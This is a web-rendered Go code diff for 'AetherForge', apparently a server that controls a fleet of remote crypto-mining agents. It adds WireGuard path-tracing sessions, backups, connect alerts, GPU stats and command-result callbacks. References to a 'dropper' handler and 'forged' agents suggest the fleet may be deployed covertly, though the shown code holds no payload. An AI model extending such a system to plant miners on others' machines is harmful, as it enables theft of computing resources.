sb.WriteString("PersistentKeepalive = 25\n")
|
||||
|
||||
return sb.String()
|
||||
}
|
||||
|
||||
// ── helpers ───────────────────────────────────────────────────────────────────
|
||||
|
||||
func (h *PathTracerHandler) getSession(id string) *TraceSession {
|
||||
h.mu.Lock()
|
||||
defer h.mu.Unlock()
|
||||
return h.sessions[id]
|
||||
}
|
||||
|
||||
// getAgentConnByID returns the AgentConnection for the given ID (nil if offline).
|
||||
func (h *WSHub) getAgentConnByID(id string) *AgentConnection {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
return h.agents[id]
|
||||
}
|
||||
|
||||
func generateServerWGKeyPair() (privB64, pubB64 string, err error) {
|
||||
var priv [32]byte
|
||||
if _, err = rand.Read(priv[:]); err != nil {
|
||||
return
|
||||
}
|
||||
priv[0] &= 248
|
||||
priv[31] &= 127
|
||||
priv[31] |= 64
|
||||
var pub [32]byte
|
||||
curve25519.ScalarBaseMult(&pub, &priv)
|
||||
privB64 = base64.StdEncoding.EncodeToString(priv[:])
|
||||
pubB64 = base64.StdEncoding.EncodeToString(pub[:])
|
||||
return
|
||||
}
|
||||
@@ -401,9 +401,14 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
})
|
||||
}
|
||||
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, serverVersion ...string) http.Handler {
|
||||
ensureUsersLoaded(dataDir)
|
||||
|
||||
version := "AetherForge"
|
||||
if len(serverVersion) > 0 && serverVersion[0] != "" {
|
||||
version = serverVersion[0]
|
||||
}
|
||||
|
||||
r := chi.NewRouter()
|
||||
|
||||
// Middleware (global)
|
||||
@@ -425,6 +430,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
h := NewHandler(database)
|
||||
|
||||
r.Get("/health", h.HealthCheck)
|
||||
r.Get("/server/ready", h.ServerReady)
|
||||
r.Get("/server/info", func(w http.ResponseWriter, r *http.Request) {
|
||||
override := ""
|
||||
if publicURLOverride != nil {
|
||||
@@ -453,6 +459,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
// Fleet ops
|
||||
if fleetHandler != nil {
|
||||
r.Get("/alerts", fleetHandler.GetAlerts)
|
||||
r.Post("/alerts/test", fleetHandler.PostAlertTest)
|
||||
r.Get("/pools/status", fleetHandler.GetPoolStatus)
|
||||
r.Get("/ai/activity", fleetHandler.GetAIActivity)
|
||||
r.Get("/earnings/estimate", fleetHandler.GetEarningsEstimate)
|
||||
@@ -529,6 +536,18 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
writeJSON(w, map[string]interface{}{"success": true})
|
||||
})
|
||||
|
||||
// Deck backup — authenticated full backup ZIP (config + DB + users)
|
||||
backupH := NewBackupHandler(dataDir, version)
|
||||
r.Get("/backup", backupH.ServeHTTP)
|
||||
|
||||
// Path Tracer — on-demand WireGuard chain sessions
|
||||
if pathTracerHandler != nil {
|
||||
r.Post("/pathtrace/start", pathTracerHandler.Start)
|
||||
r.Get("/pathtrace/{id}/status", pathTracerHandler.Status)
|
||||
r.Get("/pathtrace/{id}/qr", pathTracerHandler.QR)
|
||||
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
|
||||
}
|
||||
|
||||
// Agent autonomy REST — forged Go agents only (X-Fleet-Secret header).
|
||||
// Not exposed in dashboard client.ts; see agent/client and README API auth table.
|
||||
r.Post("/agent/decide", aiHandler.HandleDecide)
|
||||
|
||||
@@ -348,7 +348,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
|
||||
cfg := &mockConfigProvider{}
|
||||
configHandler := NewConfigHandler(cfg)
|
||||
aiHandler := NewAIHandler(database)
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, "", dataDir, nil)
|
||||
@@ -424,7 +424,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
|
||||
cfg := &mockConfigProvider{}
|
||||
configHandler := NewConfigHandler(cfg)
|
||||
aiHandler := NewAIHandler(database)
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
|
||||
|
||||
@@ -2,8 +2,10 @@ package api
|
||||
|
||||
import (
|
||||
"crypto/subtle"
|
||||
"database/sql"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
@@ -11,6 +13,7 @@ import (
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/alerts"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/pool"
|
||||
@@ -100,6 +103,9 @@ func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time
|
||||
return d.Conn.WriteControl(messageType, data, deadline)
|
||||
}
|
||||
|
||||
// cmdResultKey is used to key pending command callbacks: "agentID:action".
|
||||
type cmdResultKey struct{ AgentID, Action string }
|
||||
|
||||
type WSHub struct {
|
||||
db *db.Database
|
||||
agents map[string]*AgentConnection
|
||||
@@ -115,7 +121,13 @@ type WSHub struct {
|
||||
serverPolicy ServerPolicy
|
||||
pingIntervalSec int
|
||||
fleetSecret string // baked into forged agents; verified on WS connect
|
||||
eventNotifier *alerts.Notifier
|
||||
mu sync.RWMutex
|
||||
|
||||
// pendingCmdCallbacks allows handlers to await a specific command_result
|
||||
// from an agent (used by Path Tracer orchestration).
|
||||
pendingCmdMu sync.Mutex
|
||||
pendingCmdCallbacks map[cmdResultKey]chan map[string]interface{}
|
||||
}
|
||||
|
||||
func NewWSHub(database *db.Database) *WSHub {
|
||||
@@ -128,14 +140,15 @@ func NewWSHub(database *db.Database) *WSHub {
|
||||
}
|
||||
|
||||
h := &WSHub{
|
||||
db: database,
|
||||
agents: make(map[string]*AgentConnection),
|
||||
dashboards: make(map[string]*DashboardConn),
|
||||
agentConfigs: make(map[string]AgentForgeConfig),
|
||||
agentCapabilities: make(map[string]models.AgentCapabilities),
|
||||
agentLogs: make(map[string]string),
|
||||
agentDNS: make(map[string][]string),
|
||||
pingIntervalSec: 30,
|
||||
db: database,
|
||||
agents: make(map[string]*AgentConnection),
|
||||
dashboards: make(map[string]*DashboardConn),
|
||||
agentConfigs: make(map[string]AgentForgeConfig),
|
||||
agentCapabilities: make(map[string]models.AgentCapabilities),
|
||||
agentLogs: make(map[string]string),
|
||||
agentDNS: make(map[string][]string),
|
||||
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
|
||||
pingIntervalSec: 30,
|
||||
}
|
||||
|
||||
// Background stale-agent sweep: if an agent's last_seen is more than
|
||||
@@ -206,6 +219,12 @@ func (h *WSHub) SetPingInterval(seconds int) {
|
||||
|
||||
// SetFleetSecret stores the shared secret that all forged agents must present.
|
||||
// Called once at startup from main.go after config is loaded.
|
||||
func (h *WSHub) SetEventNotifier(n *alerts.Notifier) {
|
||||
h.mu.Lock()
|
||||
h.eventNotifier = n
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) SetFleetSecret(secret string) {
|
||||
h.mu.Lock()
|
||||
h.fleetSecret = secret
|
||||
@@ -299,6 +318,40 @@ func (h *WSHub) connectedAgentCount() int {
|
||||
return len(h.agents)
|
||||
}
|
||||
|
||||
// AwaitCommandResult registers a one-shot channel that will receive the next
|
||||
// command_result payload for the given agentID+action pair. Call before
|
||||
// sending the command so no result is missed. The caller must read from the
|
||||
// returned channel within the given timeout.
|
||||
func (h *WSHub) AwaitCommandResult(agentID, action string) <-chan map[string]interface{} {
|
||||
ch := make(chan map[string]interface{}, 1)
|
||||
h.pendingCmdMu.Lock()
|
||||
h.pendingCmdCallbacks[cmdResultKey{agentID, action}] = ch
|
||||
h.pendingCmdMu.Unlock()
|
||||
return ch
|
||||
}
|
||||
|
||||
// CancelAwait removes a pending callback without consuming it.
|
||||
func (h *WSHub) CancelAwait(agentID, action string) {
|
||||
h.pendingCmdMu.Lock()
|
||||
delete(h.pendingCmdCallbacks, cmdResultKey{agentID, action})
|
||||
h.pendingCmdMu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) notifyCmdCallback(agentID, action string, payload map[string]interface{}) {
|
||||
h.pendingCmdMu.Lock()
|
||||
ch, ok := h.pendingCmdCallbacks[cmdResultKey{agentID, action}]
|
||||
if ok {
|
||||
delete(h.pendingCmdCallbacks, cmdResultKey{agentID, action})
|
||||
}
|
||||
h.pendingCmdMu.Unlock()
|
||||
if ok {
|
||||
select {
|
||||
case ch <- payload:
|
||||
default:
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) isAgentConnected(agentID string) bool {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
@@ -582,6 +635,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
clientIP = clientIP[:idx]
|
||||
}
|
||||
|
||||
prior, priorErr := h.db.GetAgent(agentID)
|
||||
isNewAgent := errors.Is(priorErr, sql.ErrNoRows)
|
||||
|
||||
agent := &models.Agent{
|
||||
ID: agentID,
|
||||
Name: displayName,
|
||||
@@ -616,8 +672,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
// two concurrent new agents could both pass the count check under RLock, then
|
||||
// both get registered, overshooting the limit.
|
||||
h.mu.Lock()
|
||||
_, alreadyConnected := h.agents[agentID]
|
||||
if policy.MaxAgents > 0 {
|
||||
_, alreadyConnected := h.agents[agentID]
|
||||
if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
|
||||
h.mu.Unlock()
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
@@ -653,6 +709,23 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
Payload: mustMarshal(agent),
|
||||
})
|
||||
|
||||
if h.eventNotifier != nil {
|
||||
platform := auth.Platform
|
||||
if platform == "" {
|
||||
platform = "unknown"
|
||||
}
|
||||
if isNewAgent {
|
||||
h.eventNotifier.Emit(alerts.EventAgentConnect, "AetherForge connect",
|
||||
displayName+" joined the fleet ("+platform+" · "+clientIP+")")
|
||||
} else if alreadyConnected {
|
||||
h.eventNotifier.Emit(alerts.EventAgentReconnect, "AetherForge reconnect",
|
||||
displayName+" took over an active session ("+clientIP+")")
|
||||
} else if prior != nil && prior.Status != "online" {
|
||||
h.eventNotifier.Emit(alerts.EventAgentReconnect, "AetherForge reconnect",
|
||||
displayName+" is back online ("+platform+" · "+clientIP+")")
|
||||
}
|
||||
}
|
||||
|
||||
case "stats":
|
||||
if agentID == "" {
|
||||
continue
|
||||
@@ -721,7 +794,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
stats.SharesSubmitted, stats.SharesAccepted, sharesBad,
|
||||
stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds)
|
||||
|
||||
h.db.InsertHashrateSample(agentID, stats.Hashrate15m)
|
||||
gpuActive := stats.GPUMinerActive != nil && *stats.GPUMinerActive
|
||||
h.db.UpdateAgentGPUStats(agentID, stats.GPUHashrate15m, stats.GPUModel, gpuActive)
|
||||
|
||||
h.db.InsertHashrateSample(agentID, stats.Hashrate15m, stats.GPUHashrate15m)
|
||||
|
||||
broadcast := map[string]interface{}{
|
||||
"agent_id": agentID,
|
||||
@@ -972,6 +1048,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
payload["agent_id"] = agentID
|
||||
h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)})
|
||||
// Notify any handler waiting for this specific agent+action result.
|
||||
if action, _ := payload["action"].(string); action != "" {
|
||||
h.notifyCmdCallback(agentID, action, payload)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user